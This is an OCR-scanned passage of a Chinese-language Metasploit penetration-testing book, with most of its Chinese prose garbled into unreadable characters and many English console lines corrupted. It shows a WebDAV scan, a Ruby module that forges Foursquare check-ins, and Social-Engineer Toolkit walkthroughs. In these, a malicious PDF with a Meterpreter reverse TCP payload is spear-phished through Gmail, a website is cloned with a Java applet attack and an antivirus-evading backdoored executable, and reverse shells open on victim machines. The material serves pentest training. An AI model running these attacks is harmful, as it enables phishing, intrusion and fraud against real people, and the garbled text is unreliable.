RHOSTS yes
RPORT S0 yes
THREADS 1 yes
YHOST ne

Description

- A O O o

Use a proxy chain

The target address ranpe or CIDR identifier
The target port

The number of concurrent threads

HTTP server virtual host

O msf auxiliary(webdav_scanner) > set RHOSTS 192.168.1.242, 192,168.13.242,252,
192,168.13.242.254, 192.168.4.116, 192.168.4.118, 192.168.4.122,
192,168,13.242.251, 192.168,13.242.234, 192.168.8.67, 192.68.8.113,
192.168.13.242.231, 192.168.13.242.249, 192.168.4.115, 192,168.8.66, 192.158.8.68,

192.168.6.62
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RHOSTS => 192.168.1.242, 192.168.13.242.252, 192.168,13.242.254, 192.168.4.1186,
192,168.4.118, 192.168.4.122, 192.168.13.242,251, 192.168.13.242.234, 192.168.8.67,
192,168.6.113, 102.168.13.242.231, 192,168.13.242.249, 192,168.4.115, 192.168.8.686,
192.168.8.68, 192,168.6.62

msf auxiliary(webdav_scarner) > run

[*] 192.168.1.242 (Microsoft-II5/6.0} WebDAV disabled.
[*] 192.168.13.242.252 (Apache/2.2.9 (Debian) proxy html/3.0.0 mod s5s1/2.2.9
OpenS5L./0.9.8g) WebDAY disabled.
[*] Scanned 04 of 31 hosts {012% complete)
[*] Scanned 07 of 31 hosts (022% complete)
[*] 192.168.4.116 (Apache/2.2.3 (Red Hat)} webDAV disabled.
[*] Scanned 10 of 31 hosts (032% complete)
[*] 192.168.4.122 (Apache/2.2.3 (Red Hat)}} wWebDAV disabled.
[*] Scanned 13 of 31 hosts (041% complete)
[*] 192.168.13.242.251 (Micresoft-IIS/6.0) WebDAV disabled.
[*] 192.168.13.242.234 (Microsoft-1I5/6.0) WebDAV disabled.
[*] Scanned 16 of 31 hosts (051% complete)
[*] 192.168.8.67 (Microsoft-I15/6.0) WebDAV disabled.
[*] Scanned 19 of 31 hosts (061% complete)

® [*] 192.168.6.113 {Microsoft-IIS/5.0) has WEBDAY ENABLED
[*] 192.168.13.242.231 {Microsoft-II5/6.0) WebDAV disabled.
[*] Scanred 22 of 31 hosts (Q70% complete)
[*] 192.168.13.242.249 (Microsoft-I15/6.0) WebDAV disabled.
[*] Scanned 25 of 31 hosts {0BOX complete)
[*] 192.168.4.115 (Microsoft-1IS/6.0) WebDAV disabled.
[*] 192.168.8.66 (Micresoft-II5/6.0) WebDAV disabled.
[*] Scanned 28 of 31 hosts {090% complete)
[*] 192.168.8.68 (Microsoft-119/6.0) WebDAY disabled.
[*] Scanned 31 of 31 hosts {100% complete)
[*] Auxiliary module execution completed

EFIhYRETCLE WL, BAIXT £ E HTTP IRE B[R EHF S WebDAV 3T 7T HKMIFEN O, IR
HRAEB T —EHRZREFHEIS, RITTLSINXE EEF#—F R,

19 B RS R ARTEE, £ 14 FF 450 RELEREAER, LS
S ah s T S AR BT Fuzz B 8. — & A FIHELR S OMa 8kt £ 0 A Rk
Wi-Fi ™ 3% ( 4= dos/wifi/deauth 43k ), X ¥kt X2 B 44 L4405 4IR30,

0.2 HENERRE|Hh

i EATET — A BN E BB ARSH, XM TR G Metasploit )
HRERFE D (A e skbr ERVSIFRRRE R X R) . 23111 AR R {8 A Metasploit HESRHEAT
HARE ANERE T, Bk RITRHERECI R P ERRIIGEEH v _E, TiAREERERERIAM.

ERiE: AGIY & Foursquare £ — A TR FREETELEHAFIIRSMNEE, © R BT
APFANED (Check-in) N FAFMRASTEHATUHNAAERBLEIFE L, MM ETEH
— A —#) 45792, £ VENUEID, Al F&&3—REeF 8| —& gy, Tl &
FREFFIE—ETFTFRFF, I T EHNRBREATH TRES.
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FEOHF Metaspioit SHATHIR

wEH-F K (Chris Gates) 4§ Metasploit #£285 77— “Mar” fy@iEiEb:, Xy
f KT Twitter $r22 8 T IEIRE, PR T M BUOSEBEITHR & . ZPMERE—1TB5R
Metasploit fSHE R T 1R #2 I B . (IR BT CLTE hrep:/carnalOwnage.googlecode. com/BEHB XN
LB A B IR RS )

@ root®bt: /opt/framework3/msfif#t ¢d modules/avxiliary/admin/

root@bt: fopt/framework3/msf3/modules/auxiliary/admingd wget http://carnalOwnage.googlecode
.com/s¥n/trunk/msf3/modules/auxil iary/admin/random/foursquare.zb

AP B MRRAEERARNNHBERA AR PO, EMERESAE Metasploit FRIFrH
He. AAEBRAMERXMREERE, ERMNS -BXFREANAN, FEEMURERS#,
X RATB BB AE X MR IR F T HERNE.

require ‘msf/core’

@ class Metasploit3 < Msf::Auxiliary

# Exploit mixins should be called first
L2 include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

BEHRBAREABHEITASTA T BEERYE (auxiliary class) O, RETEHEAPRBHT
Metasploit #E52 N E) HTTP & P iRThEE®.
O def initialize

super(
© 'Name' => 'Foursquare Location Poster',
'Version => '$Reyision:§’',
'‘Description’ =» 'F*ck with Foursquare, be anywhers you want to be by vepue id’,
'Author’ =» ['CG7],
‘License’ => M5F_{ICENSE,
‘References’ =
|
[ "URL', 'http://groups.google.com/group/foursquare-api' ],
[ "URL", ‘http://www.mikekey.com/im-a-foursquare-cheater/'],
]
)

fitodo pass in geocoerds instead of venueid, create a venueid, other tom foolery
register options(
[
Q@O0pt: :RHOST( "api. foursquare.com'),
OptString.new{ 'VENUEID', [ true, 'foursguare venueid', '185675'}), #louvre
Paris France

QptString.new( 'USERNAME', [ true, "foursquare username', 'username’]),
OptString.new( PASSWORD', [ true, 'foursquare password', "password']),

], self.class)

end
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TEFBARER O, BI)E X T X TFARERP — SR E SO, 7E MSF ZIRPHIA info
AR, XEFELSERNE. FOLRINERETNERARNSISEETTEX, FE
KREXENMREREZLIESE. BIIENIE, FIERARTEIERRE, SRR g,
BHEMTEFERFIERAFERERY, BRITEE FTBABRDPEARTNHE.

def run

begin
Quser = datastore[ USERNAME' ]
pass = datastore( ' PASSWORD' ]
venid = datastore[ 'VENUEID']
user_pass = Rex::Text.encode basebq{user +
decode = Rex::Text.decode basebs4{user pass)
postrequest = "twitter=1\n" #add facebook=1 if you want facebook

LLIN. | )

:" + pass)

print_status("Baseb4 Emcoded User/Pass: #{user pass}") #debug
print_status("Base64 Decoded User/Pass: #{decode}”) f#idebug

®res = send _request cgi{{
‘uri' =» "/vi/checkin?vid=#{venid}",
'version’ => "1.1",
‘method’ =» 'POST',
‘data” => postrequest,
‘headers”™ =»
{
‘Authorization' =» “Basic #{user_pass}”,
‘Proxy-Connection’ =» "Keep-Alive",
}
Y, 25)

MARMEAMERELFFIZRBRERS, CRES un A¥BEEEREREN—&5)HE.
HABNANSEAREBHEETO, 3 HE T —HH MR R R E 6 send request cgi
FZOGRE T —-PMNR, EMHERMN lib/msficore/exploit/http.rb SN IHA YY), XA HEE
XXTEHIDIRER AR R “ B IR 648, S — Ml R, K2k, BRERRERERMNER.
mABHIFR, FHEANMTERESNSY, CoEEILFENTERS S L.

Oprint_status("#{res}") #this outputs the entire response. We could probably do
#without this but it’s nice to see what's going on,
end

®rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex;:ConnectionTimeout
rescue ::Timeout::Error, ::Exrrno::EPIPE =>e
puts e.message
end
end

BIEXA G, WREBEENERETHEO, MRERTLRETRESR, EOLY
- BRERLEABEAN, ARG RRESERE, BTSRRI, L5
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% 9% Metasploit #EIEHR

£ RE# Metasploit HEZEFIZ LA S M DIREHFRR K . XM F1REFHREZR T Metasploit 2521
ok AThEE. WHIXMERBITH RN, BINRTERENTEAHEFIEFNEMELD, O L
FL T AT AL B, I EHEMNSERES.

iERMNEFEEXTERIITH AT . WREACEZARRE Metasploit H Rk K568
12, WEOXFFHRATE:

© msf > search foursquare
[*] Searching loaded modules for pattern 'foursquare'...

Auxiliary

et — 3 T

Name Rank Description

-—m m - - oo — aE L O amEm Em W om

admin/foursquare normal Foursquare Location Poster

@ msf > use admin/foursquare
© mst auxiliary({foursquare) » info

Name: Foursquare Location Poster
Version: $Revision:$
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
CG <cg@carnalOwnage.com>

Basic options:

Name Current Setting Required Description

PASSWORD password yes foursquare password

Proxies no Use a proxy chain

RHOST apl.foursquare.com yes The target address

RPORT B8O yes The target port

USERNAME wsername YES foursquare username

VENUEID 185675 yes foursquare venueid

VHOST no HTTP server virtual host
Description:

F*ck with Foursquare, be anywhere you want to be by venue id

References:
http://groups.google, com/group/foursquare-api
http://www.mikekey. com/im-a-foursquare-cheater/
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fEEERB T, B IR “foursquare” REEOFHRIEIM 24, HEA use d5d

QIEFHIX IR, BRREFXMERNEARFLO. REGRTRUNSEIE, BIKEA
B ITALE

©® wsf auxiliary(foursquare} > set VENUEID 2583421

VENUEID =» 2584421

msf auxiliary{foursquare) > set USERNAME msféelwood.net
USERNAME => metasploit

msf auxiliary(foursquare) > set PASSWORD ilovemetasploit
PASSWORD => ilovemetasploit

mst auxiliary{foursgquare) > run

[*] Paseba Encoded User/Pass: bXNmQGVsd29vZ{5uZX(J6akxvdmVtIXRhc3Bsbalo
[*] Basebs4 Decoded User/Pass: msf®elwood.net:ilovemetasploit
[*] HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-3

Date: 5Sat, 08 May 2010 07:42:09 OMT

Content-Length: 1400

Server: nginx/0.7.64

Connection: keep-alive

<?xml version="1.,0" encoding="UTF-8"7>

<checkiny<id>20299544</id><created>Sat, 08 May 10 07:42:09 +0000</created><messages0K)
We've got you @ Washington DL Union Statiop. This is your 1st checkin here!</messages
<venue><id>2584421</id><name>Washington DC Union Station</names<primarycategory><id>79283</
id»<fullpathname>Travel:Train Stationc</fullpathnames><nodename»Train Station</nodenames
<lconurlyhttp://foursquare.com/img/categories/travel /trainstation. page/iconurls </primary
category><address>Union Station</address>«<city-Washingtonc</city><state>DC</state><geolat>
38.85777986957695¢/geolat><geolong>-77.0060920715332¢</gealong></venue><mayor><typesnochange
</typer<checkinsya</checkins>cuser><id>685446</id><firstnamesRonc/Firstnames cphotorhttp: //
playtoursquare.sl.amazonaws . com/userpix_thumbs/ELOW440HXIFB4PWL ., jpg</photos<gendersmale</
gender»</user><message»>Ron is The Mayor of Washington DC Union Statien. </messape></mayor>
<badges><badge»<id>1</id><name>Newbie</name>cicon>htip: //foursquare.com/ing/badge/newbie
.png</icon><description>Congrats on your first check-inl¢/descriptions</badge></badpess
<scoring><scored<points>i</pointsy¢iconshttp://foursquare.com/img/scoring/2. png</icony
<message>First stop tonight®</messages</scorer<scorex<points»5</pointsy>¢iconshtip://

foursquare, com/img/scoring/1.png</icon><message>First time ® Washington DC Union Statienl<¢/
message»</scorex</scoring><¢/checkiny

AT EIIHIETIX R, BATHE X -&¥LR Foursquare AP £ 04 UEKES

(Check-in) #4E. HA1EHTE Google T EIRB|— A a0 ID (VENUEID) |, A5 & BLT
VENUEID® L & Foursquare Wi )5 R B OZTLHIESK, BSETHER. #id Foursquare M
LREEMNEBINMEG RBIED, SIE/RY, WMHEHT 5 H#H00,

AT, BT Foursquare BRI ARG WAL T —IKALBRGIRF KBS H (Washington

DC Union Station) B “2Z 37 (E 9-1 FiR).
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HOM Metasploit BhEELR

L BeA1% F Bl Foursquare FISEI} . FRAIWFEARS BIX AR ThBI#RAE . X RBR M AT 1R AR
AT BB B M H15, EH Metasploit JLFAPREM R .

0.3 /&g

nPREr W, BRI LLE T Z R AR . Metasploit HEZR IR LR BERE Bt M GE B8 1L (R A R A
WARERETIEES FHEE TR, 1§/ Metasploit F138BMEE, {F0] AN — 4 1P HuhkFEFEE
THE, RATFENEN, JFRMNEFEEILSITHRE. Rlig, KA RUR HXSE BXH
EFERFARNRS (W WebDAV #RIREIFF), EEBLRADSTFHRERIZERFGH L.

BERRTT LU Hh R B X R B BR, BAZERM T Metasploit B HHBMREREIEE A7 .
KRR S BETESERR B B R IR TP W REIE 2R R E /.

AR ® T 2B EERE 5 E . 3T Web REAHREFF XA, #RET LU SRR
1T#12 40 IR BRI S. FEFHNTHRATEA RN — 1 Web SRS AT RIDAR, B
ERER BT AR BRI E 3R, BRE IR EN wWeb IR IRAT M, T R I GERE m) BRI
PRABRTEAE. MerRFEREMGA, MERRETLYRREEXNFERE. B0
Wi EIE A =R,
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HeTHFZTRE (SET) AT 4 Social-Engineer.org M¥b R R M RO T A,
XA T A AH Chris Hadnagy Friaff . HAETFREE 2 — David Kennedy £ Social-engineer.org
bR TH S U RERNEE. RARUHA. TRBUEMXS R, ESFUREEGESE
B A B = T2 5T,

SET i B7EHFMEmI A2 AR, BESKXEKEMIEHES TEZEF. &1
EHHWCHE TR 100 12X, MECER M RTEEEHa TRFL LR, SET Bk
MAMIEFFERNSE R, ARANNEESE. FE. ABUEA—HAENE R, th& TEFES
e ATER A, 1T BT 2 ARG ™ B Rl ) — Bk 7 3.



Metasploit &€ Mk Em

=R, H2TEFEHEFNEHY, HE— I AEREBIALLfh 8RN BMOHEE, A7
e E5AE. REFTETAFAAMLSTEARARVREAKFEALEEMZ—, KL
oy star TIEE B R MR B M By . (AR Rebic B R B iR “ Aurora” Bl
e, BEERERATHS TEZFEARKE T Gmail DUR H AL Google IR,

Bty P B A R AR LR B R B R AV MR R IRIH . SET Bt Wiy i B R4 B 4T
S (BN BT Web BUE . BT E-mail MBGEMET USB BB E). SRARTE, %
1 P 01 G R RoAth 3R0E LB B AR, AR MURREEE N A ML, BB SR B AR EHLEEE R
REAE, 813 i BN s D e 2 B 24 B b6 EHLAME R BLRGETS 5 R R B BT 25, SET
RN X SEE AL E-mail S M AR, XA LT B AR #ITHS UR¥RHh. SET
i KBAEH T Metasploit HE32 BT HE (L3 K BE 11

HTAL S TRERGRTHRRE LB, £FNEMPTFHSE MEENREDET
KBEIT VLEA VR .

101 BLE SET T HH

£ Back Track 9, SET TR EIRIAKIEFE pentest/exploits/SET H ¥ F . TERBENEIEFZ
Al BRI AR BH AN SET GETU FTH43TEED.

root@bt:/pentest/exploits/set# svn update

EEsea)s, BIERMEASEKREX SET KB H. BN EIL NN R LR,
7£ SET T H iR B R T B configlset config SCHEH

WEBATTACK_EMAIL BRIE4r1A7E Web B U B 2 HFHATHEAA R T, X1 RiHE
THM AR IR, XSRS B E 7R A Web Bt RS RrER 4444

METASPLOIT PATH=/opt/framework3/ms¥3

WEBATTACK EMATL=0M

Java applet B £ SET H X FFf —FE T Web BB A, [ B8 41 Java applet B
K ERRRHKNMERAE, REFUREET. ERAVERT, X ERARERERELR
MiE, R0, WRRKPLRT Java FRTEE (JIDK) , RALCHTHEXANEIR, HEieaE
AT applet TR A .. JIRSTAZEN S, —SHAAEEETESEEOBR,

SELF_SIGNED APPLET=ON

BENG I (AUTO _DETECT) TR SET B EERERZ —, F HBIARIT M. &5
FTH G SET s8R B BT ALY 1P M bt , iz Mokt 6T CL4E 4 & M4 H (9 bt 58 % Web
AR o A& 58w hbhE . N BRER £ MRKED, RFHARMERERHERE HIER TS -4 1P sk,
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FI1I0 HELTITRETITRE

BAYREE XA NEM . XMIXEDSE, SET HERHFER G EVE TEHELES R, KB
R 1P HHAER HARNESME, FlHh— Mg REE T NAT Mg D ALKITRE. XERER
RO EIEINE SET # OO0 LUEE,

AUTO DETECT=OFF

LHRFR T AN, BRIASERET Python Z2EPFNE Web IR A THRUEENE
fE, T T4 apache server XINFF R, SET # 4 Apache IR FEATHL .

APACHE _SERVER=ON

PL EIREp R — e R AMAEREE . FORAEIN, RTUESFERESRELREA
RIS 4 SET RIBGEIT N . ERERBEEN g, NERINARET TRE.

10.2 $AMEHAEITE o=

B S5 A B o) Bl R R A B SO R AR B B (Bl FIH Adobe PDF IR )
BBEIGE), FEMALAREAHMFNFN, SEF2ENARKNCHRATIBREEN, YHFE
PUR R AT BRPERME . HAREN S WA NE N, SET & I A a4 B il (SMTP)
RIFFRACE (B2 8 el 8 FAIRRD . Gmail M Sendmail R ZEMG . SET (6 B a8 A brHE BT
AT FIEE T HTML 3R T Is -k R sh fa o

BB —F B xyz 284 HER#AT K LR ERK. ReTLEMR—DEBM xyz 2
) (k4. B coompanyxyz.com, HRE A UE ~MHLEK L PEM - FIRE, #ln
cont.panyxyz.com. © —:b, VRECAT HFRESREE S MR ARGHRE. MEE 8, AX
LRAF BT RS —REBE, BERSITHEAELISEREFI{F. EXTFFH,. HA)
= R EERE R PDF B30 2 B e5 4L, W iR

root@bt:/pentest/exploits/set# ./set

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Teensy USBE HID Attack Vector

SM5 Spooting Attack Vector

Wireless Access Point Attack Vector
Third Party Modules

D OO o O LA e L b
r F Fr = % & ma » *
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10. Update the Metasploit Framework
11. Update the Social-Engineer Toolkit
12. Help, Credits, and About

13. Exit the Social-Engineer Toolkit

Enter your choice: 1

Welcome to the SET E-Mail attack method. This module allows you

to specially craft email messages and send them to a large {or small)
number of people with attached fileformat malicious payloads. If you
want t¢ spoof your email address, be sure "Sendmail” is installed (it
is Installed in BT4) and change the config/set _config SENDMAIL=OFF flag
to SENDMAIL=CN.

There are twe options, one is getting your feet wet and letting SET do
everything for you {option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

® 1. Perform a Mass Email Attack
2. Create a FileFormat Payload
3. Create a Social-Engineering Template
4. Return to Main Menu

Enter your choice: 1

select the file format exploit you want,
The default is the PDF embedded EXE.

R R LT R PA"I{LDADS e o O R

1. SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2. SET Custom Written Document UNC LM SME Capture Attack
3. Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
4. Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
5. Adobe Flash Player 'Button’ Remote Code Execution
6. Adobe CoolType SING Table 'uniqueName' Overflow
7. Adobe Flash Player 'newfunction’ Invalid Pointer Use
© 8. Adobe {ollab.collectEmaillnfo Buffer Overflow
9. Adobe Collab.getIcon Buffer Overflow
10. Adobe IBIG2Decode Memory Corruption Exploit
11. Adobe PDF Embedded EXE Social Emgineering
12. Adobe util.printf() Buffer Overflow

13. Custom EXE to VBA (sent via RAR) (RAR required)

14. Adobe U3D CLODProgressiveMeshDeclaration Arzray Overrun
15. Adobe PDF Embedded EXE Social Engineering (NOJS)

16, Foxit FDF Reader v4.1.1 Title Stack Buffer Overflow
17. Nuance PDF Reader vb6.0 Launch Stack Buffer Overflow

Enter the number you want {press enter for default): 8

1. Windows Reverse TCP Shel Spawn a command shell on victim and send back to
attacker.
2. Windows Meterpreter Reverse TCP Spawn a meterpreter shell on victim and send back

to attacker.
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3. Windows Reverse WNC OLL Spawn a ¥NC server on victim and send back 1o
attacker.

4. Windows Reverse TCP Shell (x64) Windows X64 Command 5hell, Reverse TCP Inline

5. Windows Meterpreter Reverse TCP (X64) Connect back {o the attacker (Windows x64),
Meterpreter

6. Windows Shell Bind TCP (X64) Execute payload and create an accepting port on
remote systen.

7. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SS5L and use
Meterpreter.

© Enter the payload you want (press enter for default):
[*¥] Windows Meterpreter Reverse TCP selected.
Enter the port to connect back on (press enter for default}):
[*] Defaulting to port a4i...
[*] Generating +ileformat exploit...
[*¥] Please wait while we load the module tree...
[*] Started reverse handler on 10.10.1.112:443
[*] Creating 'template.pdf’ file...
[*] Generated output file /pentest/expleits/set/src/program_junk/template.pdf
[*] Payload creaticn complete.
[*] All payloads get sent to the src/msf attacks/template.pdf directory
[*] Payload generation complete. Press enter to continue.

As an added bonus, use the file-format creator in SET to create your attachment.
Right new the attachment will be imported with filename of 'template.whatever'
Do you want to rename the file?

example Enter the new filename: moo.pdf

@ 1. Keep the filename, I don't care.
2. Rename the file, I want to be cool.

Enter your choice {enter for default): 1
Keeping the fllename and moving on,

EiT SET B EXHFE, YE4E Spear-Phishing Attack Vectors®, FiE3 3R perform a mass
email attack® . ;XA A T Abobe PDF K Collab.collectEmaillnfo #5iH @, 5% A ¥ Metasploit
H # Meterpreter & [/ I o587 @ b # £ PDF 3¢ # . Collab.collectEmaillnfo £~ HE i &R,
WMRITH (B 3 EHLZEEH) Abobe Acrobat fTATEFEMEH) PDF 44, B4 Meterpreter
e ENEZBE TR 443 50, %5 O7EA K B H NP R R AROEREM.

[F&t SET & R BEA B PDF WX 1F4, B CEARS L. RIS, Y
TR EHE), BTLAERA T 848 /9 PDF XX (remplate.pdf) ©.

Secial Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would

be to send an email to one individual person, The second option
will allew you to import a list and send it to as many people as
you want within that 1ist.
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What do you want to do:

® 1, E-Mail Attack Single tmail Address
2. E-Mail Attack Mass Mailer
3, Return to main menu.

Enter your choice: 1

Do you want to use a predefined template or craft
a one time emzil template.

® 1, Pre-Defined Template
2, One-Time Use Email Template

Enter your choice: 1
Below is a list of available templates:

: New Update

: Computer Issue

: Strange internet usage from your computer
: LOL...have to check this out..,

S5tatus Report

: Pay Raise Application Form

: BasketBall Tickets

: Baby Pics

10: Have you seen this?

11: Termination List

12: How long has it beent

13: Dan Brown's Angels & Demons

xam--am'_-f_'l.hwmr-n

Enter the number you want to use: 5
& Enter who you want to send email to: ihazomgsecurity@secmaniac.com
What option do you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your choice: 1
© Enter your GMAIL email address: fakeemailaddy@gmail.com
Enter your password for gmail (it will not be displayed back to you):

SET has finished delivering the emails.

T—F, BAOEAR AP HEET IO, ¥ SET Z 874 RS PDF XA 4 AR 44 b3 4+
HeA{# H —A4Fise 2 ) SET #4484k ® “Status Report” ®. FAJilk SET ] —4 Gmail K
O M AN HFIRRHEeht  Ghazomgsecuriti@secmaniac.com) X RIEER L.
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Bio. f)z Metasploit Mg O ¥ B0 Bididimr R EHO. 24 SET /5 3) Metasploit H
i, COLRETHAVENER, FAGRGEKEEE EFN IP RIAEZES 443 RO O,
ENBAIZ TR E/RTALFE.

® Do you want 1o setup a listener yes oOr no: yes

resource {src/program_junk/meta config)> use exploit/multi/handler
resource {src/program junk/fmeta config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource {src/program junk/meta_config)> set LHOST 10.10.1.112
LHOST =» 10.10,1,112
resource (src/program_junk/meta_config)> set LPORT 443
LPORT =» 443
resource (src/program_junk/meta_config)> set ENCODING shikata_ga nai
ENCODING => shikata ga nai
resource {src/program junk/meta _config)> set ExitOnSession false
ExitOnSession => false
respurce (src/program junk/meta_config)> exploit -j
[*] Exploit running as background job.
@ [*] Started reverse handier on 10.10.1.112:443
[*] Starting the payload handler.,.
msf exploit{handler} >

BATRIRIZR LRI WERE ihazomgsecurity@secmaniac.com BB, ¥ T — B F 4 R%
& EER, AT PDF X{4ER. SET RiFEdiE QRS RERERE, AT {EHN ZFEF A
A H AR IT AR A R iR, i &F 2 E 10-! Fr2RHE 8.

M & & BE T oy

—_ ) i

B 10-1 438 PDF {44 P HinaH
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HARF P 1T i &350 PDF X, SN bR ESECLEE]. EREE XA, K
SEHWTHEA:

[*] Started reverse handler on 10.10.1.112:443

[*] Starting the payload handler...

msf exploit{handler) » [*] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened {10.10.1.112:443 -> 10.10.1.102:58087)

msf exploit{handler) > sessions -i 1
[*] Starting interaction with 1..,

meterpreter > shell

Process 2976 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 158%-2001 Microsoft Corp.

C:\Documents and Settings‘Bob\Desktop>

XA A TSR R BGERAR R T — & Bl H2 SET Rt 3fF “5F
ROHE By ” deIH, Brrd ol LLeEE o g BFoR) R 0 2 ) B i, RIS SET Pk &
TR TG B e A IR AR

10.3 Web HFHo=

Web BLh M & AW fER SET HEAENSANETENT 2, BRI EWEH L% B
MEATEBRABSE MM, SET A LI EE MLl izAT 015 35 B R 52 —H i
", REHZFEEANMINEENE —ETES R,

10.3.1 Java Applet

Java applet B di & SET P ERIIH) B B2 —. iX 1 applet & SET i —fZH &% & Thomas
werth TR . ZKEFI A T EE Java applet F2FHATHERLRIR G ISR &, 08 applet BEE
H AR e EwiEtT, R HRAEE RIS BB AT. Java applet W H A AR Java
KB WE, SFXHGEBRNEESEMNINEE, MExEH- MBS, ittRE/HERiT—
MABEAGIER Java applet. B4 Java VTR — > applet It FAER B T#HTEZ, WLl
KIRAmER Google. Microsoft BRHAMFATREFARN TR . BT BEC set_config X, HH
WEBATTACK _EMAIL $R.&EMLTFR, IRFT EATESE KBRS AR H BT AL

ERATBE — PN ESHAHRH—- PN E 1000 BALRERZEML. Bk, hE—
A F %A R Sk B AR AL T . R, BdeZ g Metasploit #) harvester 5L
HBM _E# % ER A @<company>.com FIMEFEbEl. EALWNELE T 200 MHEAEHEALZ /5,
A B R R B RERIX 200 MICE 2 . FEAGEEA ERER T AT @GS, HEXR
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B TR AT TR FMT. FHMASEESMMEARES, HAERAER T A
HE, MUEAAEN EIACHER, FMTEAHAK AT E 2138 L e
HUEE . HEMBRESl g B A LA S S RENEERE.

EHGH P S EELE, — 1 Java applet JHANEE T HK, HE7751% Java applet %
AT AIEE. HTHEEFEUE - -MEERF, BHRRASTEAEEITERS. 8T, X144
SHRPATHRATENERZ T wEN TP RER Java applet. REHFPEBAEIMIIFER, b
118 R 0T LA B — M F LR s, RN 3E SR2 8 M EN e EH . JHi5 Al Java
applet Z 2 EHEFMIZETRME, — M RGEEEHRLSWIAT, BdiZ FLE T B 45 EHLE shell.
—HEHEHEROHIT, BEENRSBEEENBIGENY E, URIERGEASWHR 5 ER.

SET 0] BLFE B — Wk e 8 O TR RO BE 4 A 78 X1 5 P AR P D3k Y B B4 B 4%
MARCR LSRR E) WA A S, @it T o, AT LIE S SET B 178 hif i &
Chttp: /fwww.secmaniac.com) LIREBH A

root@bt:/pentest/exploits/sets . /set

Select from the menu:
0O 2. MWebsite Attack Vectors
Enter your choice: 2
® 1. The Java Applet Attack Method
Enter your choice {press enter for default): 1

The first method will allow SET to import a list of pre-defined
web applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website

functionality.

[1] Website Attack Vectors [!]
1. Web Templates

2. S5ite (loner

3. Custom Import

4

v Return to main menu

Enter number (1-4): 2
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SET supperts both HTTP and HTTPS
Example: http://www.thisisafakesite,com

@ Enter the url to clone: http://wwi.secmaniac.com

[*] (loning the website: hitp://www.secmaniac.com

[*] This could take a little bit...

[*] Injecting Java Applet attack into the newly cloned website.
[¥] Filename obfuscation complete. Payload name is: OxwW3cYtbLEI3
[¥] Malicious java applet website prepped for deployment

Fahix kB it, AT SET XA GEFH T web i RO, {FH Java applet By

e, ANEFEATEEMAREONTA. B)G, WA SET REHENMERLO.

What payload do you want t¢ generate:
Naime : Description:

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim and se
back to attacker.

Enter choice (hit enter for default):

Below is a list of encodings to try and bypass AV.

Select one of the below, 'backdoored executable' is typically the best.
16. Backdoored Executable (BEST)

Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a lepit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable.

Wk g e o e ook kb ek s gk sk ok o e ok sk ek

Do you want to create a Linux/05X reverse_tcp payload
in the Java Applet attack as well?

sk gk ok ko ok ok ok kR ek Nk kR A

Enter choice yes or no: no

P PP T Y TS LI AP I EI P LT FTF PRI TE LR AT LS T E T

wWeb Server Launched. Welcome to the SET Web Attack.

REREEREREPERE R Rk

[--] Tested on 1E6, IE7, IER, Safari, Chrome, and FireFox [--]

[*] Launching MSF Listener...
[*] This may take a few to load MSF...
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Y SET hEfBah Ak -8, BdrE Ll R BERA, RIAK) Meterpreter 52 2]
FROE T E—AAEMER. ERXANKIIHED, HEFRHHF AN EER DRI R, B
EE MU EBEERRINETIe., EFERESRLIE, SET B3] Metasploit:

resource (src/program_junk/meta config)> exploit -j
[*] Exploit running as background job.

© [*] Started reverse handler on 10.10.1.112:443
[*] Starting the payload handler...
mst exploit{bandler) >

Set i B 7 metasploit LB, BE 443 i 055 meterpreter [1E@.

R, (RLBERT ALK T hitp//www.secmaniac.com/F 7 65 Web RSB, wRAR
5B X L FF 8T WEBATTACK _EMAIL, SET 28 FR#A4rai¢ ot dkd &, HX
T —4r s ok 4, -

WA, —UIRkeE, RAERLKEEEAFPRIAEEMAL., JINRAZXITMHMAE. H
FEBEI—AHREEARNREERE, WE 102 fin, WRABEHS SEHETEEENE, [
A#EXEHERAPBSXAM BARTRAFRSIZT, KRFEE EIREVLEIRBIT

{25 SET AiFsd -2 AR 6.8 F2f Java Applet &6, % H 47 & EE4T0 BB}
B ATWATE, B ARehR) i B4 ¥ 58 & Bl & &9 secmaniac ™ 35k,

Warning Securnly
The application’s digital signature cannot be verified.
Do you want te run the appllcation?
Masmee;
Publiskay:  Mcrotolt
From: e 72, L6 32137

() Woays try:it conkert From Shis pudlishie ]

! Tho igihal sorebure cannal be werliad by 4 ruobed 1ouros. Oy
run IF o brust e origim oF W applic o

B 10-2 Java Applet T HHE
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[E R BEW, Meterpreter Wi & if MR, RATBLER LURI T BBl
KDE BAREHT .

mst expleit({handler) » [*] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened {10.10.1.112:443 -> 10.10.1.102:58550)

msf exploit{handler) > sessions -i 1
[*] Starting interaction with 1...

shellmeterpreter > shell

Process 2800 created.

Channel 1 created.

Microsoft Windows XP [Version 5,1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

L:\Documents and Settings\Administrator\Desktop>

10.3.2 ZE Pun Web I

SET R F] LAR &) 0% web 2B AGERH ., EXAMRAY, BITBERERABEAILY
